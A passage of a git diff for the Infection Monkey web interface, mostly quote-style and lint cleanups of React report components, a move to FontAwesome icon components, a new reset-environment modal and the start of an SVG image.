</div>; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarPrinciplesStatus.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarPrinciplesStatus.js index 8e4512ac7..3838c3330 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarPrinciplesStatus.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarPrinciplesStatus.js @@ -1,22 +1,25 @@ -import AuthComponent from "../../AuthComponent"; -import PillarLabel from "./PillarLabel"; -import PrinciplesStatusTable from "./PrinciplesStatusTable"; -import React from "react"; -import * as PropTypes from "prop-types"; -import {Panel} from "react-bootstrap"; +import AuthComponent from '../../AuthComponent'; +import PillarLabel from './PillarLabel'; +import PrinciplesStatusTable from './PrinciplesStatusTable'; +import React from 'react'; +import * as PropTypes from 'prop-types'; +import {Panel} from 'react-bootstrap'; + +import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'; +import { faChevronDown } from '@fortawesome/free-solid-svg-icons'; export default class SinglePillarPrinciplesStatus extends AuthComponent { render() { if (this.props.principlesStatus.length === 0) { return null; - } - else { + } else { return ( <Panel> <Panel.Heading> <Panel.Title toggle> - <h3 style={{textAlign: "center", marginTop: "1px", marginBottom: "1px"}}> - <i className="fa fa-chevron-down" /> <PillarLabel pillar={this.props.pillar} status={this.props.pillarsToStatuses[this.props.pillar]} /> + <h3 style={{textAlign: 'center', marginTop: '1px', marginBottom: '1px'}}> + <FontAwesomeIcon icon={faChevronDown}/> <PillarLabel pillar={this.props.pillar} + status={this.props.pillarsToStatuses[this.props.pillar]}/> </h3> </Panel.Title> </Panel.Heading> @@ -33,5 +36,5 @@ export default class SinglePillarPrinciplesStatus extends AuthComponent { SinglePillarPrinciplesStatus.propTypes = { principlesStatus: PropTypes.array, - pillar: PropTypes.string, + pillar: PropTypes.string }; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js index 028ca7d89..35ccffdc4 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js @@ -1,30 +1,33 @@ -import React, {Component} from "react"; -import * as PropTypes from "prop-types"; +import React, {Component} from 'react'; +import * as PropTypes from 'prop-types'; + +import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'; +import { faCheck, faExclamationTriangle, faBomb, faQuestion } from '@fortawesome/free-solid-svg-icons'; const statusToIcon = { - "Passed": "fa-check", - "Verify": "fa-exclamation-triangle", - "Failed": "fa-bomb", - "Unexecuted": "fa-question", + 'Passed': faCheck, + 'Verify': faExclamationTriangle, + 'Failed': faBomb, + 'Unexecuted': faQuestion }; export const statusToLabelType = { - "Passed": "label-success", - "Verify": "label-warning", - "Failed": "label-danger", - "Unexecuted": "label-default", + 'Passed': 'label-success', + 'Verify': 'label-warning', + 'Failed': 'label-danger', + 'Unexecuted': 'label-default' }; export default class StatusLabel extends Component { render() { - let text = ""; + let text = ''; if (this.props.showText) { - text = " " + this.props.status; + text = ' ' + this.props.status; } return ( - <div className={"label " + statusToLabelType[this.props.status]} style={{display: "flow-root"}}> - <i className={"fa " + statusToIcon[this.props.status] + " " + this.props.size}/>{text} + <div className={'label ' + statusToLabelType[this.props.status]} style={{display: 'flow-root'}}> + <FontAwesomeIcon icon={statusToIcon[this.props.status]} size={this.props.size}/>{text} </div> ); } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js index d34a484b9..b33481b99 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js @@ -1,8 +1,8 @@ -import React, {Component, Fragment} from "react"; -import PillarLabel from "./PillarLabel"; -import StatusLabel from "./StatusLabel"; -import * as PropTypes from "prop-types"; -import {ZeroTrustStatuses} from "./ZeroTrustPillars"; +import React, {Component, Fragment} from 'react'; +import PillarLabel from './PillarLabel'; +import StatusLabel from './StatusLabel'; +import * as PropTypes from 'prop-types'; +import {ZeroTrustStatuses} from './ZeroTrustPillars'; export default class StatusesToPillarsSummary extends Component { render() { @@ -21,11 +21,11 @@ export default class StatusesToPillarsSummary extends Component { <StatusLabel showText={true} status={status}/> </h3> <div> - { - this.props.statusesToPillars[status].map((pillar) => { - return <PillarLabel key={pillar} pillar={pillar} status={status} /> - }) - } + { + this.props.statusesToPillars[status].map((pillar) => { + return <PillarLabel key={pillar} pillar={pillar} status={status}/> + }) + } </div> </Fragment> } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js index e4012bf50..3b2216956 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js @@ -1,9 +1,8 @@ -import React, {Component} from "react"; -import {Col, Grid, Row} from "react-bootstrap"; -import MonkeysStillAliveWarning from "../common/MonkeysStillAliveWarning"; -import PillarsOverview from "./PillarOverview"; -import ZeroTrustReportLegend from "./ReportLegend"; -import * as PropTypes from "prop-types"; +import React, {Component} from 'react'; +import {Col, Grid, Row} from 'react-bootstrap'; +import PillarsOverview from './PillarOverview'; +import ZeroTrustReportLegend from './ReportLegend'; +import * as PropTypes from 'prop-types'; export default class SummarySection extends Component { render() { @@ -12,20 +11,20 @@ export default class SummarySection extends Component { <Grid fluid={true}> <Row> <Col xs={12} sm={12} md={12} lg={12}> - <MonkeysStillAliveWarning allMonkeysAreDead={this.props.allMonkeysAreDead}/> <p> - Get a quick glance at how your network aligns with the <a href="https://www.forrester.com/report/The+Zero+Trust+eXtended+ZTX+Ecosystem/-/E-RES137210"> - Zero Trust eXtended (ZTX) framework - </a>. + Get a quick glance at how your network aligns with the <a + href="https://www.forrester.com/report/The+Zero+Trust+eXtended+ZTX+Ecosystem/-/E-RES137210"> + Zero Trust eXtended (ZTX) framework + </a>. </p> </Col> </Row> <Row className="show-grid"> - <Col xs={8} sm={8} md={8} lg={8}> + <Col xs={8} sm={8} md={7} lg={7}> <PillarsOverview pillarsToStatuses={this.props.pillars.pillarsToStatuses} grades={this.props.pillars.grades}/> </Col> - <Col xs={4} sm={4} md={4} lg={4}> + <Col xs={4} sm={4} md={5} lg={5}> <ZeroTrustReportLegend/> </Col> </Row> @@ -35,6 +34,5 @@ export default class SummarySection extends Component { } SummarySection.propTypes = { - allMonkeysAreDead: PropTypes.bool, pillars: PropTypes.object }; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustPillars.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustPillars.js index dd2a55865..c0bb0c87e 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustPillars.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustPillars.js @@ -1,18 +1,18 @@ export const ZeroTrustPillars = { - data: "Data", - people: "People", - network: "Networks", - workload: "Workload", - devices: "Devices", - visibility: "Visibility & Analytics", - automation: "Automation & Orchestration" + data: 'Data', + people: 'People', + network: 'Networks', + workload: 'Workload', + devices: 'Devices', + visibility: 'Visibility & Analytics', + automation: 'Automation & Orchestration' }; export const ZeroTrustStatuses = { - failed: "Failed", - verify: "Verify", - passed: "Passed", - unexecuted: "Unexecuted" + failed: 'Failed', + verify: 'Verify', + passed: 'Passed', + unexecuted: 'Unexecuted' }; export default ZeroTrustPillars; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ArcNode.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ArcNode.js index aee1fb7f2..938e23e88 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ArcNode.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ArcNode.js @@ -41,17 +41,17 @@ class ArcNode extends React.Component { } - handleClick(e_) { + handleClick() { this.props.disableHover(this.refs.overlay); } - handleOver(e_) { + handleOver() { if (this.props.hover) { this.refs.overlay.show(); } } - handleOut(e_) { + handleOut() { if (this.props.hover) { this.refs.overlay.hide(); } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/CircularNode.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/CircularNode.js index 5c84d95a5..5c6ec3d7c 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/CircularNode.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/CircularNode.js @@ -1,5 +1,5 @@ import React from 'react' -import PillarLabel from "../PillarLabel"; +import PillarLabel from '../PillarLabel'; import {Popover, OverlayTrigger} from 'react-bootstrap'; import PropTypes from 'prop-types'; @@ -38,17 +38,17 @@ class CircularNode extends React.Component { } - handleClick(e_) { + handleClick() { this.props.disableHover(this.refs.overlay); } - handleOver(e_) { + handleOver() { if (this.props.hover) { this.refs.overlay.show(); } } - handleOut(e_) { + handleOut() { if (this.props.hover) { this.refs.overlay.hide(); } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.css b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.css index dd4883125..08fdabe76 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.css +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.css @@ -1,4 +1,5 @@ @import url('https://fonts.googleapis.com/css?family=Noto+Sans&display=swap'); +@import url('//netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css'); body { margin: 0; @@ -6,12 +7,10 @@ body { } svg { - -webkit-touch-callout: none; /* iOS Safari */ -webkit-user-select: none; /* Safari */ -khtml-user-select: none; /* Konqueror HTML */ -moz-user-select: none; /* Firefox */ -ms-user-select: none; /* Internet Explorer/Edge */ user-select: none; /* Non-prefixed version, currently supported by Chrome and Opera */ - } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js index 70304daad..a7fc698a0 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js @@ -4,7 +4,7 @@ import CircularNode from './CircularNode' import ArcNode from './ArcNode' import {TypographicUtilities} from './Utility.js' import './VennDiagram.css' -import {ZeroTrustStatuses} from "../ZeroTrustPillars"; +import {ZeroTrustStatuses} from '../ZeroTrustPillars'; class VennDiagram extends React.Component { constructor(props_) { @@ -131,16 +131,12 @@ class VennDiagram extends React.Component { let self = this; - let hidden = 'none'; - let html = ''; - let bcolor = '#DEDEDE'; - if (this.state.currentPopover !== undefined) { this.state.currentPopover.show(); } - document.querySelectorAll('circle, path').forEach((d_, i_) => { - d_.setAttribute('opacity', "0.8"); + document.querySelectorAll('circle, path').forEach((d_) => { + d_.setAttribute('opacity', '0.8'); }); if (e.target.id.includes('Node')) { @@ -175,10 +171,9 @@ class VennDiagram extends React.Component { let data = []; const omit = (prop, {[prop]: _, ...rest}) => rest; - this.props.pillarsGrades.forEach((d_, i_) => { + this.props.pillarsGrades.forEach((d_) => { let params = omit('pillar', d_); - let sum = Object.keys(params).reduce((sum_, key_) => sum_ + parseFloat(params[key_] || 0), 0); let key = TypographicUtilities.removeAmpersand(d_.pillar); let html = self.buildTooltipHtmlContent(params); let rule = null; diff --git a/monkey/monkey_island/cc/ui/src/components/run-monkey/AwsRunTable.js b/monkey/monkey_island/cc/ui/src/components/run-monkey/AwsRunTable.js index 6a8fe9416..ac9231d82 100644 --- a/monkey/monkey_island/cc/ui/src/components/run-monkey/AwsRunTable.js +++ b/monkey/monkey_island/cc/ui/src/components/run-monkey/AwsRunTable.js @@ -1,6 +1,6 @@ import React from 'react'; import ReactTable from 'react-table' -import checkboxHOC from "react-table/lib/hoc/selectTable"; +import checkboxHOC from 'react-table/lib/hoc/selectTable'; const CheckboxTable = checkboxHOC(ReactTable); @@ -8,10 +8,10 @@ const columns = [ { Header: 'Machines', columns: [ - { Header: 'Machine', accessor: 'name'}, - { Header: 'Instance ID', accessor: 'instance_id'}, - { Header: 'IP Address', accessor: 'ip_address'}, - { Header: 'OS', accessor: 'os'} + {Header: 'Machine', accessor: 'name'}, + {Header: 'Instance ID', accessor: 'instance_id'}, + {Header: 'IP Address', accessor: 'ip_address'}, + {Header: 'OS', accessor: 'os'} ] } ]; @@ -28,7 +28,7 @@ class AwsRunTableComponent extends React.Component { } } - toggleSelection = (key, shift, row) => { + toggleSelection = (key) => { // start off with the existing state let selection = [...this.state.selection]; const keyIndex = selection.indexOf(key); @@ -44,7 +44,7 @@ class AwsRunTableComponent extends React.Component { selection.push(key); } // update the state - this.setState({ selection }); + this.setState({selection}); }; isSelected = key => { @@ -64,17 +64,17 @@ class AwsRunTableComponent extends React.Component { selection.push(item._original.instance_id); }); } - this.setState({ selectAll, selection }); + this.setState({selectAll, selection}); }; getTrProps = (s, r) => { - let color = "inherit"; + let color = 'inherit'; if (r) { let instId = r.original.instance_id; if (this.isSelected(instId)) { - color = "#ffed9f"; + color = '#ffed9f'; } else if (this.state.result.hasOwnProperty(instId)) { - color = this.state.result[instId] ? "#00f01b" : '#f00000' + color = this.state.result[instId] ? '#00f01b' : '#f00000' } } diff --git a/monkey/monkey_island/cc/ui/src/components/side-menu/VersionComponent.js b/monkey/monkey_island/cc/ui/src/components/side-menu/VersionComponent.js index 1246b5b94..aa52e06bc 100644 --- a/monkey/monkey_island/cc/ui/src/components/side-menu/VersionComponent.js +++ b/monkey/monkey_island/cc/ui/src/components/side-menu/VersionComponent.js @@ -1,5 +1,7 @@ import React from 'react'; -import {Icon} from 'react-fa'; + +import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'; +import { faDownload } from '@fortawesome/free-solid-svg-icons'; class VersionComponent extends React.Component { constructor(props) { @@ -18,7 +20,7 @@ class VersionComponent extends React.Component { this.setState({ currentVersion: res['current_version'], newerVersion: res['newer_version'], - downloadLink: res['download_link'], + downloadLink: res['download_link'] }); }); } @@ -32,7 +34,7 @@ class VersionComponent extends React.Component { <div> <b>Newer version available!</b> <br/> - <b><a target="_blank" href={this.state.downloadLink}>Download here <Icon name="download"/></a></b> + <b><a target="_blank" href={this.state.downloadLink}>Download here <FontAwesomeIcon icon={faDownload}/></a></b> </div> : undefined diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/Checkbox.js b/monkey/monkey_island/cc/ui/src/components/ui-components/Checkbox.js index 74204973a..6d2d0c035 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/Checkbox.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/Checkbox.js @@ -14,60 +14,79 @@ class CheckboxComponent extends React.PureComponent { changeHandler(name, checked) function will be called with these parameters: this.props.name (the name of this component) and this.state.checked (boolean indicating if this component is checked or not) + + this.props.status (int) adds a class "status-x" to this checkbox. Used for styling. */ - constructor(props) { - super(props); - this.state = { - checked: this.props.checked, + constructor(props) { + super(props); + if (this.props.hasOwnProperty('status')){ + this.status = this.props.status; + } else { + this.status = false + } + this.state = { + status: this.status, + checked: this.props.checked, necessary: this.props.necessary, - isAnimating: false - }; - this.toggleChecked = this.toggleChecked.bind(this); - this.stopAnimation = this.stopAnimation.bind(this); - this.composeStateClasses = this.composeStateClasses.bind(this); - } + isAnimating: false + }; + this.toggleChecked = this.toggleChecked.bind(this); + this.stopAnimation = this.stopAnimation.bind(this); + this.composeStateClasses = this.composeStateClasses.bind(this); + } - //Toggles component. - toggleChecked() { - if (this.state.isAnimating) {return false;} - this.setState({ - checked: !this.state.checked, - isAnimating: true, - }, () => { this.props.changeHandler ? this.props.changeHandler(this.props.name, this.state.checked) : null}); - } + //Toggles component. + toggleChecked() { + if (this.state.isAnimating) { + return false; + } + this.setState({ + checked: !this.state.checked, + isAnimating: true + }, () => { + this.props.changeHandler ? this.props.changeHandler(this.props.name, this.state.checked) : null + }); + } - // Stops ping animation on checkbox after click - stopAnimation() { - this.setState({ isAnimating: false }) - } + // Stops ping animation on checkbox after click + stopAnimation() { + this.setState({isAnimating: false}) + } - // Creates class string for component - composeStateClasses(core) { - let result = core; - if (this.state.necessary){ + // Creates class string for component + composeStateClasses(core) { + let result = core; + if (this.state.status !== false) { + result += ' status-'+this.state.status; + } + if (this.state.necessary) { return result + ' blocked' } - if (this.state.checked) { result += ' is-checked'; } - else { result += ' is-unchecked' } + if (this.state.checked) { + result += ' is-checked'; + } else { + result += ' is-unchecked' + } + if (this.state.isAnimating) { + result += ' do-ping'; + } + return result; + } - if (this.state.isAnimating) { result += ' do-ping'; } - return result; - } - - render() { - const cl = this.composeStateClasses('ui-checkbox-btn'); - return ( - <div - className={ cl } - onClick={ this.state.necessary ? void(0) : this.toggleChecked}> - <input className="ui ui-checkbox" - type="checkbox" value={this.state.checked} - name={this.props.name}/> - <label className="text">{ this.props.children }</label> - <div className="ui-btn-ping" onTransitionEnd={this.stopAnimation}></div> - </div> - ) - } + render() { + const cl = this.composeStateClasses('ui-checkbox-btn'); + return ( + <div + className={cl} + onClick={this.state.necessary ? void (0) : this.toggleChecked}> + <input className='ui ui-checkbox' + type='checkbox' value={this.state.checked} + name={this.props.name}/> + <label className='text'>{this.props.children}</label> + <div className='ui-btn-ping' onTransitionEnd={this.stopAnimation}></div> + </div> + ) + } } export default CheckboxComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/StartOverModal.js b/monkey/monkey_island/cc/ui/src/components/ui-components/StartOverModal.js new file mode 100644 index 000000000..5694d463a --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/StartOverModal.js @@ -0,0 +1,74 @@ +import {Modal} from 'react-bootstrap'; +import React from 'react'; +import {GridLoader} from 'react-spinners'; + + +class StartOverModal extends React.PureComponent { + + constructor(props) { + super(props); + + this.state = { + showCleanDialog: this.props.showCleanDialog, + allMonkeysAreDead: this.props.allMonkeysAreDead, + loading: false + }; + } + + componentDidUpdate(prevProps) { + if (this.props !== prevProps) { + this.setState({ showCleanDialog: this.props.showCleanDialog, + allMonkeysAreDead: this.props.allMonkeysAreDead}) + } + } + + render = () => { + return ( + <Modal show={this.state.showCleanDialog} onHide={() => this.props.onClose()}> + <Modal.Body> + <h2> + <div className='text-center'>Reset environment</div> + </h2> + <p style={{'fontSize': '1.2em', 'marginBottom': '2em'}}> + Are you sure you want to reset the environment? + </p> + { + !this.state.allMonkeysAreDead ? + <div className='alert alert-warning'> + <i className='glyphicon glyphicon-warning-sign' style={{'marginRight': '5px'}}/> + Some monkeys are still running. It's advised to kill all monkeys before resetting. + </div> + : + <div/> + } + { + this.state.loading ? <div className={'modalLoader'}><GridLoader/></div> : this.showModalButtons() + } + </Modal.Body> + </Modal> + ) + }; + + showModalButtons() { + return (<div className='text-center'> + <button type='button' className='btn btn-danger btn-lg' style={{margin: '5px'}} + onClick={this.modalVerificationOnClick}> + Reset environment + </button> + <button type='button' className='btn btn-success btn-lg' style={{margin: '5px'}} + onClick={() => this.setState({showCleanDialog: false})}> + Cancel + </button> + </div>) + } + + modalVerificationOnClick = async () => { + this.setState({loading: true}); + this.props.onVerify() + .then(() => {this.setState({loading: false}); + this.props.onClose();}) + + } +} + +export default StartOverModal; diff --git a/monkey/monkey_island/cc/ui/src/components/utils/SaveJsonToFile.js b/monkey/monkey_island/cc/ui/src/components/utils/SaveJsonToFile.js index 6ad124457..29940c63c 100644 --- a/monkey/monkey_island/cc/ui/src/components/utils/SaveJsonToFile.js +++ b/monkey/monkey_island/cc/ui/src/components/utils/SaveJsonToFile.js @@ -1,7 +1,7 @@ -import FileSaver from "file-saver"; +import FileSaver from 'file-saver'; export default function saveJsonToFile(dataToSave, filename) { const content = JSON.stringify(dataToSave, null, 2); - const blob = new Blob([content], {type: "text/plain;charset=utf-8"}); - FileSaver.saveAs(blob, filename + ".json"); + const blob = new Blob([content], {type: 'text/plain;charset=utf-8'}); + FileSaver.saveAs(blob, filename + '.json'); } diff --git a/monkey/monkey_island/cc/ui/src/config/base.js b/monkey/monkey_island/cc/ui/src/config/base.js index 65b6aff99..bea121a3c 100644 --- a/monkey/monkey_island/cc/ui/src/config/base.js +++ b/monkey/monkey_island/cc/ui/src/config/base.js @@ -1,5 +1,4 @@ 'use strict'; // Settings configured here will be merged into the final config object. -export default { -} +export default {} diff --git a/monkey/monkey_island/cc/ui/src/images/detective-monkey.svg b/monkey/monkey_island/cc/ui/src/images/detective-monkey.svg new file mode 100644 index 000000000..1911c32ad --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/images/detective-monkey.svg @@ -0,0 +1,88 @@ +<svg id="Layer_2" data-name="Layer 2" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 316.946 709.655"> + <defs> + <style> + .cls-1 { + fill: #fff; + } + + .cls-2 { + mask: url(#mask); + } + + .cls-3 { + fill: #333; + } + + .cls-4, .cls-5 { + fill: none; + stroke: #333; + stroke-miterlimit: 10; + } + + .cls-4 { + stroke-width: 7px; + } + + .cls-5 { + stroke-width: 9px; + } + + .cls-6 { + filter: url(#luminosity-invert-noclip); + } + </style> + <filter id="luminosity-invert-noclip" x="68.823" y="76.337" width="262.529" height="119.347" filterUnits="userSpaceOnUse" color-interpolation-filters="sRGB"> + <feColorMatrix values="-1 0 0 0 1 0 -1 0 0 1 0 0 -1 0 1 0 0 0 1 0" result="invert"/> + <feFlood flood-color="#fff" result="bg"/> + <feBlend in="invert" in2="bg"/> + </filter> + <mask id="mask" x="68.823" y="76.337" width="262.529" height="119.347" maskUnits="userSpaceOnUse"> + <g class="cls-6"> + <g transform="translate(0 0)"> + <rect class="cls-1" x="68.823" y="162.189" width="262.529" height="33.495"/> + </g> + </g> + </mask> + </defs> + <title>03bed00a-ca95-430e-aa43-12f62fe2eab4</title> + <g> + <g> + <path class="cls-3" d="M198.485,195.6A5,5,0,0,1,189.1,198v-.017a27.6,27.6,0,0,0,7.319-6.4A4.931,4.931,0,0,1,198.485,195.6Z" transform="translate(0 0)"/> + <path class="cls-3" d="M211.533,197.98V198a5,5,0,0,1-9.389-2.394,4.931,4.931,0,0,1,2.069-4.019A27.6,27.6,0,0,0,211.533,197.98Z" transform="translate(0 0)"/> + </g> + <g> + <path class="cls-3" d="M174.273,167.173a6.463,6.463,0,1,1-6.463,6.463,6.471,6.471,0,0,1,6.463-6.463m0-13.579a20.042,20.042,0,1,0,20.042,20.042,20.043,20.043,0,0,0-20.042-20.042Z" transform="translate(0 0)"/> + <path class="cls-3" d="M297.475,222.485a10.838,10.838,0,0,0-7.115-1.324c-6.245.806-10.329-.878-14.853-4.559-2.314-1.883-3.525-4.771-2.42-7.53.282-.681.549-1.371.813-2.061a28.444,28.444,0,1,0,0-56.149c-.26-.682-.524-1.363-.8-2.036-1.129-2.767-.172-5.326,2.41-7.562a18.207,18.207,0,0,1,14.85-4.564,10.984,10.984,0,0,0,7.117-1.319,10.863,10.863,0,1,0-15.567-13.316c-2.424,5.811-5.925,8.506-11.374,10.583-2.808,1.071-5.943.667-7.774-1.716l.077.132a78.726,78.726,0,0,0-125.044,0l.077-.132c-1.832,2.383-4.966,2.787-7.774,1.716-5.449-2.077-8.95-4.772-11.375-10.583a10.863,10.863,0,1,0-15.567,13.316,10.985,10.985,0,0,0,7.118,1.319,18.207,18.207,0,0,1,14.85,4.564c2.582,2.236,3.539,4.8,2.41,7.563-.279.673-.542,1.354-.8,2.036a28.444,28.444,0,1,0,0,56.149c.264.69.53,1.38.813,2.061,1.105,2.759-.105,5.647-2.42,7.53-4.524,3.681-8.608,5.365-14.853,4.559a10.863,10.863,0,1,0,3.749,20.14,10.984,10.984,0,0,0,4.7-5.5,18.207,18.207,0,0,1,11.377-10.579c3.239-1.122,5.943-.667,7.774,1.716l-.059-.1a78.724,78.724,0,0,0,125.009,0l-.059.1c1.832-2.383,4.536-2.838,7.774-1.716A18.207,18.207,0,0,1,281.911,235.8a10.985,10.985,0,0,0,4.7,5.5,10.863,10.863,0,1,0,10.863-18.815Zm-19.816-58.373c.269-.015.535-.041.808-.041a14.865,14.865,0,1,1,0,29.73c-.273,0-.539-.026-.808-.041a78.478,78.478,0,0,0,0-29.648ZM290.2,122.786a3.678,3.678,0,1,1-1.346,5.024A3.679,3.679,0,0,1,290.2,122.786Zm-178.436,5.024a3.678,3.678,0,1,1-1.346-5.024A3.678,3.678,0,0,1,111.769,127.811Zm11.2,65.95c-.269.015-.535.041-.808.041a14.865,14.865,0,1,1,0-29.73c.273,0,.539.026.808.041a78.475,78.475,0,0,0,0,29.648Zm-12.545,41.318a3.678,3.678,0,1,1,1.346-5.024A3.678,3.678,0,0,1,110.422,235.078Zm89.891,11.262a32.229,32.229,0,0,1-31.162-40.519,46.984,46.984,0,0,0,62.324,0,32.23,32.23,0,0,1-31.162,40.519ZM236.959,200.1l.008-.01a28.388,28.388,0,0,1-9.444,2,41.645,41.645,0,0,1-54.418,0,28.382,28.382,0,0,1-9.444-2l.008.01a28.513,28.513,0,1,1,36.645-38.082A28.514,28.514,0,1,1,236.959,200.1Zm58.271,33.632a3.678,3.678,0,1,1-1.346-5.025A3.678,3.678,0,0,1,295.229,233.732Z" transform="translate(0 0)"/> + <path class="cls-3" d="M226.354,167.173a6.463,6.463,0,1,1-6.463,6.463,6.471,6.471,0,0,1,6.463-6.463m0-13.579A20.042,20.042,0,1,0,246.4,173.636a20.043,20.043,0,0,0-20.042-20.042Z" transform="translate(0 0)"/> + </g> + </g> + <path class="cls-3" d="M107.852,207.6a223.827,223.827,0,0,0,44.2,13.122,223.226,223.226,0,0,0,29.439,3.511l18.561,65.9,19.511-65.9a189.816,189.816,0,0,0,20.547-1.439,193.32,193.32,0,0,0,55.943-15.885,215.083,215.083,0,0,0-29.007,38.331,144.534,144.534,0,0,1,49.9,91.137,155.237,155.237,0,0,0-15.712,5.871c-19.616,8.563-31.8,18.742-37.295,22.82-11.364,8.428-30.231,17.535-62.849,19.338l.345-81.5-14.5,76.979c-27.118,2.986-42.34-3.606-51.281-10.36-9.955-7.521-13.7-16.432-29.525-28.489a125.572,125.572,0,0,0-24.345-14.5q13.274-22.455,28.835-46.072,11.064-16.72,22.1-32.115a246.738,246.738,0,0,0-12.777-23.137C115.9,218.75,111.826,212.884,107.852,207.6Z" transform="translate(0 0)"/> + <g> + <path class="cls-3" d="M198.843,21.134A60.471,60.471,0,0,0,168.6,30.1c-42.458,26.854-30.981,107.021-30.319,111.29A150.426,150.426,0,0,0,202.9,154.011a150.1,150.1,0,0,0,58.8-13.8c7.176-52.764-6.173-96.48-30.337-110.142A70.389,70.389,0,0,0,198.843,21.134Z" transform="translate(0 0)"/> + <path class="cls-1" d="M199.406,14.486a54.07,54.07,0,0,1,18.012,6.969,49.8,49.8,0,0,1,14.138,13.16,62.6,62.6,0,0,1,8.614,17.033,95,95,0,0,1,4.057,18.376,172.029,172.029,0,0,1,1.182,18.554,122.059,122.059,0,0,1-.959,18.634,130.2,130.2,0,0,1-10.012,35.76,1.718,1.718,0,0,1-3.157-1.356,126.427,126.427,0,0,0,9.1-34.888,117.751,117.751,0,0,0,.6-18.016,167.548,167.548,0,0,0-1.47-18.052,90.121,90.121,0,0,0-4.15-17.353,57.367,57.367,0,0,0-8.156-15.468,44.194,44.194,0,0,0-12.771-11.479,48.17,48.17,0,0,0-16.162-5.913,3.034,3.034,0,0,1,1.064-5.974l.038.007Z" transform="translate(0 0)"/> + <path class="cls-1" d="M201.627,20.4a54.559,54.559,0,0,0-15.649,6.68,53.229,53.229,0,0,0-12.623,11.4,66.37,66.37,0,0,0-8.766,14.863,93.086,93.086,0,0,0-5.233,16.711,143.179,143.179,0,0,0-2.782,35.265,161.926,161.926,0,0,0,1.574,17.712,136.082,136.082,0,0,0,3.777,17.356,1.727,1.727,0,0,1-3.312.984,139.726,139.726,0,0,1-4.2-17.745q-.757-4.5-1.221-9.05c-.309-3.009-.559-6.036-.723-9.069a147.553,147.553,0,0,1,2.224-36.42,98.007,98.007,0,0,1,5.2-17.709,71.6,71.6,0,0,1,9.2-16.238,58.807,58.807,0,0,1,13.761-12.882,60.452,60.452,0,0,1,17.206-7.725,3.034,3.034,0,1,1,1.626,5.846l-.037.01Z" transform="translate(0 0)"/> + <path class="cls-4" d="M209.528,20.667c5.2-1.377,10.258-5.235,9.721-7.38-.435-1.738-4.536-2.306-7.2-2.161-1,.054-4.717.369-12.061,6.12-1.092.856-8.86,6.939-8.1,8.1.61.933,7.208-.551,8.638-4.261,2.493-6.47-10.808-19.523-16.067-17.345-2.537,1.051-3.736,5.867-2.292,9,.66,1.434,1.983,2.761,9.361,5.041C200.413,20.533,204.856,21.906,209.528,20.667Z" transform="translate(0 0)"/> + <path class="cls-1" d="M264.511,139.131c.883,4.853-29.444,24.94-65.015,24.955-35.6.015-65.9-20.075-65.016-24.955.738-4.075,22.971,3.859,66.374,3.7C242.637,142.683,263.792,135.181,264.511,139.131Z" transform="translate(0 0)"/> + <path class="cls-3" 